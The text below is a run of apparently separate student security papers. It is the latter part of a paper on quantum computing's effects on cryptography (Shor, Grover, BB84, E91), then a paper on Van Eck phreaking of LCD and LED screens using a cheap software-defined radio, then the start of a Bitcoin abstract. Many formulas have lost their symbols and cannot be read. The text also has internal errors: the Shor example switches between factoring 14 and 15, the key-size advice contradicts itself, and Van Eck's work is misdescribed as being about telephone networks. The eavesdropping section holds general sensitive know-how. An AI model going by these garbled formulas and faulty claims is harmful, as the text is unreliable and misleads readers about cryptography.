what we say as multiple qubit system. It is very much like 

multiple bits in classical system. In qubit system, multiple 

qubits can be denoted as    ⟩   ⟩     ⟩           ⟩ . In a 

multiple-qubit system, the qubits are bound to each other. 

Although not necessarily always in entangled state, more often 

than not, multiple qubit system naturally exist in entangled 

state. 

 
The product of two single-qubits can only be computed using 

tensor product, . 

   ⟩   ⟩       ⟩      ⟩)      ⟩      ⟩) 

        ⟩         ⟩         ⟩         ⟩ 
 

2.3 Entangled State 
Entangled state is a unique state that only exists in multiple- 

qubit system as a result of a quantum phenomenon. It is when a 

group of quantum particles interact in such a way that their state 

cannot be defined independently from each other. In other 
word, it is the state of multiple-qubit system that cannot be 

described by its individual components but as a whole quantum 

system. 

 
For instance a 2-qubit system: 

  ⟩  
 

√ 
     ⟩     ⟩ ) 

It is impossible to represent   ⟩ with the tensor product of two 

single-qubits:        ⟩         ⟩         ⟩         ⟩  . 

As        and       , it construes that either        or 

       which is a contradiction as      
 

√ 
. 

 

This means that the two qubits cannot exist independently and 

thus a change in the state of one qubit will affect the other. This 
characteristic carries on even if the two qubits are located at a 

distance, which will be exploited by the E91 Protocol (Section 

5.2). 

 

2.4 No-Cloning Theorem 
One of the main characteristics of the qubit is the no-cloning 

theorem. The no-cloning theorem states that it is impossible for 
someone to clone or create an exact copy of an unknown 

quantum state. Of course, it is still possible for someone to 

create a qubit if he or she knows the exact basis of the 

polarization of the photon and the polarization of the particular 
qubit (0 or 1). However, this is considered invalid since we 

must know the basis of the polarization beforehand. While for 

cbits it is possible to copy a particular string of cbits using some 

known functions. One possible way is to OR or XOR the cbits 
with zero (or 00000....0) and the resulting output of the cbits 

will be the exact same copy of the original cbits. However, 

there is no known function that can make an exact copy of an 

unknown qubit. 
 

For example, we have a function U which is a function to clone 

a particular qubit, such that: 

          ⟩)         ⟩, where         ⟩         ⟩. 
 

Then, we have two equations : 

1.     ⟩      ⟩)     ⟩  ⟩ 
2.     ⟩      ⟩)     ⟩  ⟩ 

 

Assume we have an unknown qubit, where         ⟩    
   ⟩       ⟩. 
 

Now, we have           ⟩      ⟩)  =         ⟩    
  ⟩)      ⟩) . Then, expanding the parentheses we can get 

      ⟩      ⟩      ⟩      ⟩) and based on the above 

equation one and two we can get the result of     ⟩  ⟩    
   ⟩  ⟩. 
 

At first sight, the result seems correct. We have an input of the 

superposition of   ⟩ and   ⟩ and we get the output with   ⟩ and 

  ⟩. However, the result is wrong and we can prove it. 
 

We expect that 

          ⟩      ⟩          ⟩        ⟩ and 

        ⟩        ⟩      ⟩  ⟩       ⟩  ⟩. 
 

In fact, 

        ⟩        ⟩
      ⟩      ⟩)     ⟩      ⟩)
         ⟩  ⟩          ⟩  ⟩       
    ⟩  ⟩         ⟩  ⟩ 

 

We can see now that           ⟩      ⟩) is not equal to  

        ⟩        ⟩ and thus it is not possible to clone an 

unknown state of qubit. 

3. SHOR’S ALGORITHM 
Before discussing Shor’s Algorithm, let us first introduce the 
RSA Encryption scheme, which will be related closely with the 

Shor’s Algorithm. RSA Encryption scheme is an asymmetric 

encryption scheme used to transfer secure data, such as keys for 

symmetric encryption1. It relies on the fact that it is not viable 
to factorize a very large number or more specifically a very 

large semiprime (a number that is a product of two prime 

numbers) using the current algorithm and hardware.  

 
To encrypt a message using RSA Encryption, we first have to 

find two large prime numbers, namely   and  , and the product 

of those two prime numbers, namely N. Then, we have to find 

  such that       )      ) . After that, we find a 

number   such that c has no common divisor with   other than 

1. Finally, we just need to find a number   such that      
          )      ) . The public key, which is to be 

revealed to public, is   and   and the private key, which must 

be kept secret, is  . When someone wants to send a message  , 

they can encrypt it with the formula            and send  . 

After receiving the encrypted message  , we can decrypt the 

message with the formula           . 
 

To break the RSA Encryption, we need to know the factors of 

 , namely   and  , to find  . As previously stated, it is not 

viable to factorize a very large number and this is the main 

reason why RSA encryption is potent. The most efficient 

classical factorization algorithm, the general number field sieve, 

take a sub-exponential time to factorize a large number which 

takes 

           )
 
         )

 
 ) 

 
Shor’s Algorithm, however, is able to factorize a number with 

only a polynomial time in      or to be more specific 

       ) ). There are three important stages for the Shor’s 

Algorithm. 

 

                                                             
1 RSA Encryption algorithm is invented by Ron Rivest, Adi 
Shamir, and Leonard Adleman in 1977. 
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Firstly, we need to have a register that contains the 

superposition state of  , which is a power of 2 that is greater or 

equal to  , the number that we want to factorize. The 

calculation that we are going to do to the superposition state of 

  will be performed on every possible value that the 

superposition of   can represent. 

The current condition of the register is 
 

√ 
           ⟩           ⟩

          ⟩                ⟩) 
Secondly, we need to have another register that contains 

        ⟩. So the combined initial state of the two registers, 

ignoring the factor 
 

√ 
, is 

        ⟩        ⟩          ⟩        ⟩       
         ⟩        ⟩ 

 

After that, we need to find a pseudo-random value  , such that 

    . Then, we need to find the greatest common divisor 

(gcd) of   and  . If the        )   , then we are done since 

there is factor of  . In the RSA Encryption case since   is a 

semiprime, that means   is a prime and one of the factor of  . 

Then, if        )    we need to compute           for 
every possible value of x and put the result to register 2. 

 

For example, if we need to factorize     , that would mean 

  is 16 (a power of 2 greater than 14). Then, we need to pick a 

value for  , in this case 4. 

 

From these, we can construct the table for every possible value 

for register 1 and 2: 
 

Table 1. Possible Values for Register 1 and 2 

Register 1 Register 2 

0 1 

1 4 

2 1 

3 4 

4 1 

5 4 

6 1 

7 4 

8 1 

9 4 

10 1 

11 4 

12 1 

13 4 

14 1 

15 4 

 
Thirdly, we need to find the period of repetition in the second 

register, which in the particular example is 2 (the sequence is 1, 

4). This can be done using Quantum Fourier transform 

algorithm, which will not be discussed in this paper. After 

knowing the period, we can easily find the factors of   using 

the formula: 

     
 

       ) , where f is the period of repetition in the 

second register. 

 
However, we need to check for 2 conditions before using the 

formula. Firstly, we need to check whether  
 

   
           If it is, we need to find another value of  . 

Secondly, we also have to note that if the period of repetition in 

the second register is not even. If it does, we also need to find 

another value of  . Going back to our example, we can see that 

it fullfils both condition. Thus, we can proceed to compute the 

factor using the formula which will produce the result of 3 and 

5, both are factors of 15. The probability that we can guess a 

random value   that will fulfill both conditions is at least 50%. 

 

If quantum computer finally exists and Shor’s Algorithm can be 

implemented, it would mean the RSA encryption scheme is 

deemed unsafe and dangerous to use. RSA encryption scheme 

is often used for key exchange or distribution and digital 

signature. One of the main example of the use of RSA 

encryption scheme is https://. Our browser is using RSA 

encryption to authenticate the other parties by checking their 

digital certificate, which contains their public key. After 

validating, we can use the public key for exchange of secure 

information that only the other party can decrypt using their 

private key. 

If RSA encryption scheme is compromised, we need to think of 

another way to do a secure exchange of transformation. One 

possible way of doing this is to use other asymmetric 

encryption schemes that are not dependent on the factorization 

of a large number, such as Diffie-Hellman key exchange and 

ElGamal signature scheme. 

As far as security concerned, the successful implementation of 

Shor’s Algorithm will not render all current encryption schemes 

useless. However, it does make it harder for the general public 

to exchange secret information since RSA is one of the most 

used asymmetric encyrption scheme. 

4. GROVER’S ALGORITHM 
Another algorithm that is regarded as one of the milestone for 
quantum computing other than the Shor’s Algorithm is the 

Grover’s Algorithm. Grover’s Algorithm is a searching 

algorithm that is capable of searching an unsorted database in a 

  √ )  time which would take    )  time using a normal 

brute-force way or more specifically   
 

 
) time which will not 

be much different with    ) if   is a very large number. 

 
As with every quantum computing algorithm, including Shor’s 

Algorithm, Grover’s Algorithm is also probabilitic in a way that 

it will give the correct answer in a probability which we can 
make higher by repeating the algorithm. 

 

In classical perspective, searching an unsorted database will 

never give us a complexity time that is faster than linear time or 

   ) since we need to check every possible value without any 

guidelines. However, with the parallellism characteristic of 

qubit, it is possible to reduce the complexity time. 

 

For example, we have a “tagging” function    )  such that 

   )    when   is the value that we are looking for and 

   )    when   is not the value that we are looking for. Of 

course, this “tagging” function can also be implemented using 
classical computation. However, using quantum computing and 

taking advantage of the superposition state of the qubit, we can 

get the result faster with the exact same reasoning why we use 

the superposition state for the Shor’s Algorithm. 
 

We know that the output contains the result even though it is 

not possible to extract the result directly. This is where 

Grover’s Algorithm shows its ingenuity. It is true that we do 

not have any way to extract the result, however it is possible to 

increase the chances of measuring the output to be the correct 

value. In fact, by repeating the Grover’s Algorithm times after 
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times the chances of the output to be the correct value is almost 

100%. 

 
The basic idea of Grover’s Algorithm is changing the amplitude 

of the correct value from 
 

√ 
 to be as high as possible or even 1 

if possible and changing the amplitude of the rest of the values 
to be as low as possible without violating the normalization rule 

(the sum of the square of all amplitudes of every possible value 

of the qubit must be equal to 1). 

 

The first step of Grover’s Algorithm is to mark the correct 

value by inverting its phase or to be more exact changing its 

amplitude to be negative. Inverting the phase of a possible 

value of the qubit will not violate the normalization rule since 
   )    .  Then, we can take advantage of the fact that the 

amplitude of the correct value is negative while amplitude of 

the rest are positive. First, we need to find the mean of the 

amplitudes of every possible value of the qubit, namely  . 

Then, we are going to perform a function that will invert the 

amplitudes of every value of the qubit about the mean. It means 

that the function will first calculate for each amplitude how 
much it is above or below the mean. Next, it will replace that 

amplitude with a new amplitude whose value is just as much 

below or above the mean as it is originally above or below the 

mean. We can define the function as such: 

   )        )      )   , where   is the amplitude 

of each value of the qubit. 

 

To provide a better understanding, let us see an example where 
there are 4 possible values to be searched and we want to find 

the 3rd value with an amplitude of 
 

 
 for every possible value. 

(Note that it is in the correct normalization since   (
 

 
)
 
  ). 

 

Then, we are going to invert the phase of the 3rd value 

changing it into  
 

 
. After that, we need to find the mean which 

is equal to 

  
(
 
 
 

 
 
 ( 

 
 
)  

 
 
)

 
 

 

 
 

 

Next, we perform the function that will invert the amplitudes 

about the mean which will give the result 0 for the wrong value 

and 1 for the correct value. If we measure the output now, we 
can be sure that it will be the correct value since the probability 

of the correct value to become the output is    which is equal to 

 . It is amazing that we can find  the correct value in a 100% 
chance in only one run of the algorithm. However, we can 

observe that the number of run that we need to do for a larger 

database is obviously not going to be one. For example when 

the size of the database is 16, we need to run the algorithm for 
two times to get the chances of getting the correct value to be 

more thant 90%. In fact, as the previously stated, we need 

around   √ ) time to get the correct value almost all the time. 
 

One of the most notable impacts of Grover’s Algorithm on the 
computer security is its ability to reduce the complexity of the 

brute-force algorithm on symmetric encryption scheme and as 

such speed up the attacks against symmetric encryption scheme. 

For example, using Grover’s Algorithm to break the AES-256 
encryption scheme will only take as much time as when we use 

classical method to break the AES-128 encryption scheme 2 . 

                                                             
2 AEC encryption scheme is a symmetric encryption scheme 

which was established by the U.S. National Institute of 

Standards and Technology (NIST) in 2001. It uses three 
different key lengths : 128, 192, 256 bits. 

The proof is that we need to perform roughly around      

computation to break the AES-256 using the classical method. 
However, using Grover’s Algorithm we will only need to do 

roughly around √     which is equal to      computation. 

 
Nevertheless, we can increase keysize used in the encryption to 

give stronger security even with the complexity of Grover’s 

Algorithm. For example, we can increase the keysize to 256 

which will take a long time even by using Grover’s Algorithm. 
As such, even Grover’s Algorithm is able to reduce the 

complexity of the current symmetric encryption scheme, it is 

still not viable to attack encrypted message with a large keysize. 

5. QUANTUM KEY DISTRIBUTION 
Key distribution is an event where two parties want to have a 
shared secret key that can be used for symmetric encryption 

scheme known only to both parties. There are two known 

quantum key distribution protocols that have been devised for 

years, which are the BB84 protocol and the E91 protocol. 
  

5.1 BB84 Protocol 
A single qubit system can be used to facilitate encryption key 
exchange. The properties of qubit are very suitable to ensure a 

secure channel of exchanging key which renders snooping 

useless. 
 

One of the first algorithms on quantum key exchange is the 

BB84 algorithm, created by Charles Bennett and Gilles 

Brassard in 1984. BB84 algorithm allows two parties to 
securely exchange encryption key and detect intrusion as well. 

It aims to achieve a congruent series of cbits of 0s and 1s at 

both parties. While quantum mechanism is used, the algorithm 

only aims to exchange cbits not qubits. The BB84 was created 
with a one-time pad encryption in mind. 

 

The algorithm uses the two basis (standard and Hadamard) for 

sending and receiving photons. The algorithm will be explained 
by using a scenario of a key exchange between Alice (sender), 

Bob (receiver), and Eve (eavesdropper). 

 

Alice has decided on a encryption key that would be sent to 
Bob. Using BB84, Alice would send every bit using a randomly 

chosen basis on a single photon. When Bob receives the series 

of photons, as he does not know which basis is used for each 

photon, he randomly chooses the basis. Only when all photons 
are received and decoded by Bob, then they will compare their 

choice of basis for each photon. 

 

When the choice of the basis is the same, that bit that Bob 
receives will match with Alice’s. If the basis is wrong, the bit 

that Bob receives has 50% chance to match and 50% to be 

different which means that they will not know whether the bit 

matches. Hence, bits which are decoded with different basis 
will be discarded. The remaining bits are called “sifted key”. 

Assuming that there is no eavesdropper, the bits will match at 

both ends. To ensure that this is true, Alice and Bob decide on a 

sequence of bits to check whether they are matching. These bits 
will be discarded as well. If the sifted key is matched, they can 

safely use the encryption key. If it is not, Alice and Bob will 

know that there is a third-party eavesdropping their 

communication. 
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Figure 1. Illustration of BB84 Protocol 

 

From Eve’s perspective as the unauthorized middle party, when 

she receives the photons from Alice, she would not know which 

basis Alice’s use (same like Bob) and thus chooses the basis 

randomly. Snooping in quantum channel is different from 

snooping in classical channel due to “no-cloning” property of 

quantum. Eve will not be able to recreate a photon with the 

original state without knowing its basis. Thus, what Eve passes 
through to Bob is already a result of her measurement, which 

statistically only 50% of them are correct. This is why Bob and 

Alice will know if someone is eavesdropping after checking the 

sifted key. 
 

However, this algorithm is still prone to man-in-the-middle 

attack where Eve pretends to be Bob and takes over the 

communication with Alice. Eve will pretend to be Alice as well 
and initiates a communication with Bob sending him random 

photons. If it goes undetected, Alice will perform the sifted key 

checking with Eve and thus Eve will be able to obtain the 

encryption key. Furthermore, in a real-life application of 
quantum channel, there is also the problem of external noise 

and flawed photo-detectors that can induce errors that may 

cloud Eve’s presence in the channel. 

 

5.2 E91 Protocol 
The E91 protocol, named after its inventor, Artur Ekert, is a 

quantum key distribution protocol that utilizes the unique 
properties of entangled state in multiple qubits system, 

specifically two-qubits system. The protocol is somewhat 

similar to BB84, which uses single qubit system. It aims to 

achieve a shared secret key that is securely available for two 
parties. However, the two parties do not exchange quantum 

states unlike BB84 and thus an unauthorized third-party will not 

be able to disturb the communication. 

 
To facilitate the explanation, we will use Alice and Bob as the 

two parties that want to obtain a shared key. The protocol 

begins by creating a sequence of entangled pairs    ⟩  
 

√ 
     ⟩     ⟩ ) . The first qubit will be received by Alice 

while Bob gets the second. For each qubit they receive, they 

will independently and randomly choose a basis of 
measurement, either the standard basis or the Hadamard basis, 

and then compare their choice of basis. 

 

Assuming Alice measures the first qubit using the standard 

basis and obtains   ⟩, the two-qubits system’s state will become 

   ⟩  due to entangled state properties. If Bob also measures 

using the standard basis, he will obtain   ⟩ as well. But if he 

measures using the Hadamard basis, he will obtain   ⟩ and   ⟩ 

at equal probability.  Similar to BB84, this would mean a 

random 1 or 0 in cbit for Bob. 

 
If Alice measures the first qubit using the Hadamard basis and 

obtains   ⟩, the whole state becomes    ⟩. If Bob measures 

using the same basis, Bob will also obtain   ⟩. Similarly if Bob 

uses the other basis, he will obtain either   ⟩ or   ⟩ with equal 

probability. Hence, as long as both Alice and Bob are using the 
same basis of measurement, they will end up with the same 

qubit state and produce the same cbit. However, if they are 

using a different basis, there is only a 50% chance of their 
getting the same result. 

 

After Alice and Bob receive and measure all of the qubits, they 

will proceed to compare their choice of basis. They will discard 
bits that are measured using different basis. The remaining bits 

are theoretically the same assuming there is no one intercepting 

the qubit from the source to Alice and Bob. If Eve manages to 

intercept the qubits before reaching Alice or Bob and perform a 
measurement, the entangled state will not stand rendering the 

protocol useless. However, Eve will not obtain any useful 

information as long as Alice and Bob choose the basis at 

random. Furthermore, Alice and Bob can perform a partial bit 
check just like in BB84 to ensure that their results are the same. 

 

The key different between this protocol and BB84 is that, in 

BB84, the key is created by Alice which will translate the bits 
into qubits and send it to Bob; while in E91, the key is created 

by the randomness of quantum mechanics that guarantee that 

the outcome of the protocol is random. 

 
Using quantum key distribution protocol can replace the one-

time pad as an ideal encryption where the keysize is equal to 

the length of the message. Furthermore, in E91 protocol, the 

key is created only when needed and thus eliminating the need 
of space to store the key. 

 

5.3 Quantum Key Distribution vs. Classical 

Key Distribution 
Key distribution protocols that use classical computer include 

the Public Key Infrastructure (PKI) and the Secure Socket 
Layer (SSL). While SSL is closely associated with PKI, it also 

uses Diffie-Hellman key exchange protocol. Over the years, 

computer scientist and cryptographers have developed a rather 

strong protocol that is hard for both human and computer to 
break. 

 

For instance, Diffie-Hellman protocol is able to generate a 
shared secret/key for two parties over an insecure channel using 

their chosen private keys. The key generated is mathematically 

difficult to reverse even with the aid of currently available 

supercomputers making it virtually impossible to be recreated 
by a third party. SSL uses asymmetric cryptography to generate 

a symmetric key that will be used for the communication at that 

instance. While seemingly secure, most of the protocols are 

proven susceptible to interception, evidently shown by the 
recent NSA case. Even a supposedly highly secured 

communication channel between governments of different 

countries was also shown to be intercepted. 

 
However, in an ideal quantum key distribution, it is actually 

impossible to even intercept on the communication. 

Intercepting the communication will not give any useful 

information to the attacker due to the characteristic of the qubit. 
Intercepting will change the state of the qubit which will expose 

the presence of the third party. “While traditional coding 

techniques are very secure and state-of-the-art codes such as 

those used for internet banking are virtually impossible to 

 

Alice Bob 
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break, cryptography based on quantum mechanics is actually 

impossible to spy on: the laws of nature just won’t allow it.” 

(Oliver Morsch, 2008) 
 

Another advantage of using quantum key distribution is the 

ability to generate a true random key. In classical computer, 

there is only pseudo-random number where it is generated 
through a formula based on a seed value that to some extent can 

be classified as random. However, as quantum mechanics work 

using principle of probability, a true random number can be 

generated. For instance in E91 protocol, the key is generated 

based on the measurement basis that the two parties use, which 

is independent of each other and totally random. There are no 

pre-determined bits to start except for entangled two qubits. 

Furthermore, the key generation process may even use quantum 
random number generator to ensure its randomness.  

6. CHALLENGES 
The main challenge we faced in realizing quantum computer is 

the phenomena of decoherence. This is a phenomena where the 

qubits interact with the environment and this interaction results 

in irreversible changes in the qubits. Ideally, we want to make 

the computer to be isolated so that only the user can change the 

value of the bits. Unfortunately, we cannot completely isolate a 

quantum computer the way we completely isolate classical 
computer. The reason is because even a single electron in the 

environment can affects the qubits used by a quantum computer. 

 

Decoherence gives us a 2-sided problem, on one hand, 
creating  a quantum system that can easily interacts with 

environment, electron for example, will make it hard for us to 

control the state of our computer. On the other hand, we do 

need to interact with the system to do any operation so if it is 
hard for the system to interact with the environment, such as 

photon, it will also be hard for us to design the gates needed to 

perform our operation. 

 
There are 2 methods we can use to tackle this challenge 

presented by decoherence. First is fast gate execution. The idea 

is   to implement the quantum computer in a way such that the 

time we use to apply the gates for operation is very fast 
compared to the time for decoherence to happen. Another 

method is fault tolerance. The basic idea is to do redundant 

checks to detect the random error caused by the environment. 

7. CONCLUSION 
Quantum computer provides a different way for a computer to 

perform computations where it exploits the unique 

characteristics of qubit. It is capable of performing computation 
faster than classical computer due to the parallelism 

characteristic of qubit as outlined by Shor’s algorithm and 

Grover’s algorithm. This poses a threat to current encryption 
schemes such as the RSA. Computation that, due to its large 

numbers, is virtually impossible for classical computer is now 

possible for  quantum computer. However, quantum  computing 

 
 

 

 

 
 

 

 

 

 

 

 

also opens a possibility for a more secure key distribution 

protocol. BB84 protocol and E91 protocol utilize the unique 

characteristic of qubit that is able to prevent snooping which 
sheds a new possibility of an absolutely secure communication 

channel. While quantum computer will greatly impact the area 

of computer security, its realization is still facing a problem of 

decoherence. Nonetheless, quantum computer opens up wide 
possibilities for computer security in ways that are 

unimaginable and impossible for classical computer. 
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ABSTRACT

Devices with LCD screens are becoming increasingly preva-
lent in society as a result of constant improvements in tech-
nology and consumer demand. Such devices are capable
of leaking information through inadvertent electromagnetic
emanations and thus, for obvious reasons, are a significant
security threat. Van Eck Phreaking is the name given to
detecting and interpreting stray signals from visual display
units, and the technique was pioneered by Dutch computer
scientist Wim van Eck with a CRT monitor in 1985. Nowa-
days, CRT monitors are seldom used, but modern LCD and
LED screens prove just as vulnerable to similar attacks. Us-
ing less than SGD$10 worth of equipment, this paper details
a procedure for Van Eck Phreaking with modern display
units.

1. INTRODUCTION

TEMPEST1, coined by the NSA2, was the codename of a
project directed toward studying the exploitation possible
through spying upon information systems that leak infor-
mation in the form of radio or electrical signals and sound
vibrations[6]. This paper presents a method for determin-
ing the state of a modern LCD or LED screen using a cheap
software-defined radio and various open-source tools avail-
able for OSX, Linux, and Windows. Also presented are the
results of an attempt to recover live data from an LCD dis-
play simply using an SDR.

1.1 Mechanism and Motivations

The mechanism of TEMPEST uses the fact that machines,
such as monitors and fax machines, which process informa-
tion, have electrical components inside them that, due to the

1Telecommunications Electronics Material Protected from
Emanating Spurious Transmissions
2National Security Agency, USA

flow of current, emit electromagnetic radiations which travel
outside of the component and are susceptible to eavesdrop-
ping[5]. Also, the machine may be accidentally or delib-
erately exposed to an environment that poses such threat.
Moreover, power lines or telephone cables in the vicinity of
such leakage can augment the danger of any such attack
since they act as potential amplifiers.

Therefore, any attacker can use instruments to detect radio
waves as a means of deciphering emanations not intended to
be leaked. Although motivations for such an attack are di-
verse and varied, the outcome invariably involves the release
of confidential information.

These attacks are passive attacks. Essentially this means the
victim is unaware of the attack, since the device that picks
up the radiations or signals is not installed on the user’s
system and, therefore, does not interact with it.

Although TEMPEST predominantly deals with radio and
electrical signals, is also encompasses motion and sound vi-
brations. For example, keystrokes can be logged from a key-
board using motion sensors.

Examples of systems that are highly susceptible to such at-
tacks include monitors and televisions that use cathode ray
tube (CRT) transmission systems. These systems fire elec-
trons at the screen to produce images and, therefore, induce
electromagnetic waves that can escape the surrounding cas-
ing and be collected using an antenna.

2. HISTORY
2.1 Notable Attacks and Research Efforts

The history of such attacks and TEMPEST dates back to
World War I and the 1960s[8]. In an official paper released
by the NSA, it was revealed that in 1962, an officer who
was on duty to examine the crypto center in Japan pointed
out an antenna fixed on the building of a nearby Japanese
Hospital, controlled by the Japanese Government.

Furthermore, in 1964, forty microphones were found in the
United States Embassy in Moscow. This prompted the NSA
to explore what the microphones could do to the crypto-
machines used in the embassy.

In World War I, the Germans successfully eavesdropped on
the enemy communication from the earth-loop current of the
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phone lines in the allied battlefield. The British and French
also noticed this phenomenon and hurriedly began experi-
menting. They employed a protective measure by placing
the phone lines several hundreds of meters behind the front
line trenches and reducing the line current[2].

This technique first came into the public research arena in
1985 when a Dutch computer scientist, Wim van Eck, pub-
lished a paper on the process of exploiting telephone net-
works through eavesdropping. This process, called Phreak-
ing, thus came to be known as Van Eck Phreaking. Van Eck
successfully eavesdropped on a system from a distance of
more than one hundred metres using cheap equipment[10].

Bell Labs, although already aware of this effect and its dan-
ger, seriously shifted its research toward the field of Van
Eck Phreaking. As a result, they were able to produce more
than 70% of the plaintext being processed in a teleprinter in
secured facility from a distance of 80 feet.

MIL-STD-461 is document that has been released by the
U.S. Department of Defense and provides a standard for
testing machines and equipment for electromagnetic com-
patibility[7]. It renders the standards that have to be met
for a machine to be secure by minimising the unintentional
generation, propagation, and reception of electromagnetic
signals and energy. The revised version of this document is
named MIL-STD-461F.

3. LCD HARDWARE AND TEMPEST

3.1 Red and Black Hardware Classification

Nowadays, most organisations utilising hardware that deals
with sensitive information use shielding on both the macro-
scopic and microscopic levels. Macroscopic protection typ-
ically involves the shielding of entire rooms or building fa-
cades, chiefly through the use of metallic deflectors. As such,
organisations generally use a red-black classification scheme
to rate the tendency of a device to emanate undesirable sig-
nals.

Red equipment is defined as any device or unit that is re-
sponsible for the long term storage of confidential informa-
tion, whereas the definition of black equipment encapsulates
any hardware capable of transmitting signals[4]. In for-
mal TEMPEST definitions, red equipment ”processes unen-
crypted NSI3 that requires protection during electrical/electronic
processing”, and black equipment ”processes only unclas-
sified and/or encrypted information”[9]. Examples of red
equipment include servers and computer terminals, contrast-
ingly, black equipment encompasses radio transceivers and
modems.

Independently, red and black components do not pose a
significant security threat. However, when red and black
components are forced to interface, a drastic security threat
arises. Such interconnections usually occur in modern note-
book laptops and cipher machines[4].

3National Security Information

z 
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Figure 1: The orthogonality of magnetic and electric
fields using sinusoidal wave equations

3.2 The Generation of Electromagnetic Radi-
ation

The mathematician and physicist James Clerk Maxwell pro-
posed a set of partial differential equations in 1862 to model
electrodynamics. The suitably titled Maxwell Equations de-
fine the interaction of an electric and magnetic fields.

A changing magnetic field creates a changing electric field, as
is evidenced in equation (1), known as the Maxwell-Faraday
Law. Conversely, a changing electric field creates a chang-
ing magnetic field, as illustrated in equation (2). Thus, a
self-sustainable relationship between electric and magnetic
waves can be established, allowing what are known as elec-
tromagnetic waves to be generated.

Electric and magnetic waves exist in perpendicular planes,
as is evidenced in Figure 1.

∇×E = −∂B

∂t
(1)

∇×B = µ0

(
J + ε0

∂E

∂t

)
(2)

An accelerating charge generates both an electric field and a
magnetic field, and by extension an electromagnetic field[1].
Modern LED televisions and LCD notebook computers con-
tain hundreds of components that operate by accelerating
charges, and thus, these devices inadvertently emanate a
vast range of electromagnetic waves.

Electromagnetic waves are classified by their frequency or
equivalently, wavelength, through the use of equation (3),
where c is the speed of light in a vacuum.
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f =
c

λ
(3)

The software-defined radio (SDR) used for the experimen-
tation detailed later in this report has a lower frequency
bound of 22 MHz and an upper frequency bound of 1100
MHz. Electromagnetic waves in this domain are referred to
as radio waves, and are used for the purpose of transmitting
visual and audio data via modulation.

The number of components capable of producing electro-
magnetic waves in both LCD televisions and notebook com-
puters is very high, thus, as is demonstrated in the exper-
imental section, a significant number of signals were still
captured despite the attenuated frequency domain of the
SDR.

3.3 Components of interest in modern devices

According to Maxwell’s equations, the sources of electro-
magnetic emanations from a notebook computer or televi-
sion should be anywhere current is flowing at a variable rate.
The first significant source of undesirable signal emanations
are the interconnections between the display unit and the
power supply. Large voltages over this wiring amplify the
electromagnetic waves generated by the variable currents.
Another source of radiation is the circuitry connecting the
GPU to the LCD[3].

Figures 2 and 3 highlight possible sources of electromagnetic
emanations in LCD notebook computers and LED televi-
sions.

GPU 

Battery 
Power 
Supply 

LCD power 
interconnects 

LCD source 
interconnect 

Figure 2: Primary sources of electromagnetic ema-
nations in a modern notebook computer

4. EXPERIMENTATION

4.1 Overview

Input Source 
Cable – HDMI/
DVI/VGA 

Stray EM 
radiation 

- 

+ 

Display unit – 
power supply 

interface 

Figure 3: Primary sources of electromagnetic ema-
nations in a modern LED television

Experimentation equipment simply consisted of an RTL-
SDR (Realtek Chipset Software-Defined Radio), a standard
radio antenna, a Samsung LED television4, and an HP LCD
notebook computer5. To facilitate the interpretation of the
signals collected by the SDR, the open source tools GQRX6

for OSX and SDR#7 for Windows 7 were used.

4.2 Results

Initially the ability of the SDR to detect electromagnetic em-
anations from the notebook computer was tested, the results
of which can be seen in Figure 4 (a) and (b). It is important
to note the series of discrete spikes that spawned between
99.5 MHz and 100.0 MHz when the LCD was switched on.

Following this test, the effectiveness of shielding was exam-
ined by wrapping the screen of the computer in aluminium
foil. In effect, this procedure was to emulate the efforts of
the NSA in their TEMPEST program. Although the mag-
nitude of the frequency peaks diminished when the shield
was in place, Figure 4 (c) demonstrates that the emanations
were not quashed completely.

Highlighted in Figure 5 is another example of discrete em-
anations produced by the notebook computer. In fact, this
was not the only other frequency range in which signals
were recovered, there was another disturbance at 57MHz,
and potentially more that were overlooked or outside of the
frequency range of the SDR.

440 Inch LED TV, Model Number: UA40D5000PMXXS,
http://www.samsung.com/sg/consumer/tv-audio-video/
television/led-tv/UA40D5000PMXXS#
5Dell XPS 15 ultrabook series
6http://gqrx.dk/
7http://sdrsharp.com/
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(a) LCD off

(b) LCD on

(c) LCD on with an aluminium shield placed over the display

Figure 4: Emanations near 99.838 MHz from note-
book LCD screen. The distance between vertical
graduations is 10dB.

(a) LCD off

(b) LCD on

Figure 5: Emanations near 32.7MHz from notebook
LCD screen. The distance between vertical gradua-
tions is 10dB.
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(a) LCD off

(b) LCD on

Figure 6: Comparison of signals detected when the
LCD television was in on and off state

The LED television produced more drastic sharp peaks in
the frequency spectrum when it was switched on. A possi-
ble explanation of this phenomenon is the tendency of ca-
bles trafficking information between input source and dis-
play unit to leak significant amounts of electromagnetic ra-
diation[3]. In this case, an HDMI cable was used.

Having successfully detected electromagnetic emanations from
the notebook computer LCD and the screen of the LED tele-
vision, the natural progression was to attempt to parse the
emanations and potentially reconstruct visuals as Marcus G.
Kuhn describes in Reference [3].

Scanning the entire frequency range of the SDR for a plau-
sible picture was the first step in attempting to recover an
image from the notebook LCD. However, after scanning the
frequency range three times without finding any resolved im-
ages except commercial analogue television stations, Kuhn’s
procedure was abandoned. Instead, a frequency was found
at 314 MHz that was responding to the LCD being on or
off, and the visual results were captured in Figure 7 (b) and
(c).

(a) Testing - a commercial television station

(b) LCD off

(c) LCD on

Figure 7: Attempting to recover pictures from the
notebook computer screen using TVsharp

337



5. RELATED WORK
5.1 Cost Issues with Kuhn’s Methodology

Marcus G. Kuhn’s paper ”Electromagnetic eavesdropping
risks of flat-panel displays” describes several TEMPEST ex-
periments on LCDs. In that paper, Kuhn describes an ex-
periment in which he is able to recover pictures from the
LCD of a notebook computer. However, when Kuhn’s steps
were retraced in the experimentation associated with this
paper, as in Figure 7, the same results could not be achieved.
This anomaly potentially arose as consequence of the avail-
able equipment. Where van Eck describes a very cheap
method of attacking CRT monitors with a simple radio re-
ceiver in his original publication, Kuhn states that his equip-
ment and software are complex. Future work in the field
of TEMPEST may involve an adaptation of Kuhn’s paper
using cheaper, simpler equipment available to the average
consumer.

6. CONCLUSION

Although Van Eck Phreaking is perhaps not as simple and
accessible to everyday consumers as van Eck and Kuhn de-
scribe, the experiments detailed above demonstrate the se-
curity threat is nonetheless severe, even for the most mod-
ern of display units. Agencies involved with the handling
of sensitive information must strive to diminish the levels of
electromagnetic emanations from display units as the price
of equipment capable of performing TEMPEST attacks de-
creases over the next decade.
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ABSTRACT 

Due to its unprecedented popularity via the Internet in recent 

years, Bitcoin [6] has also garnered the attention of many, 

including financial regulatory bodies and institutions. It has seen 

high usage levels, resulting in a 10 times increase in value over 

the last year.  Unfortunately, its digital nature has also been 

attributed to several cases of Bitcoin theft, botnet attacks and 

fraud, leading some governments to outlaw its use as legitimate 

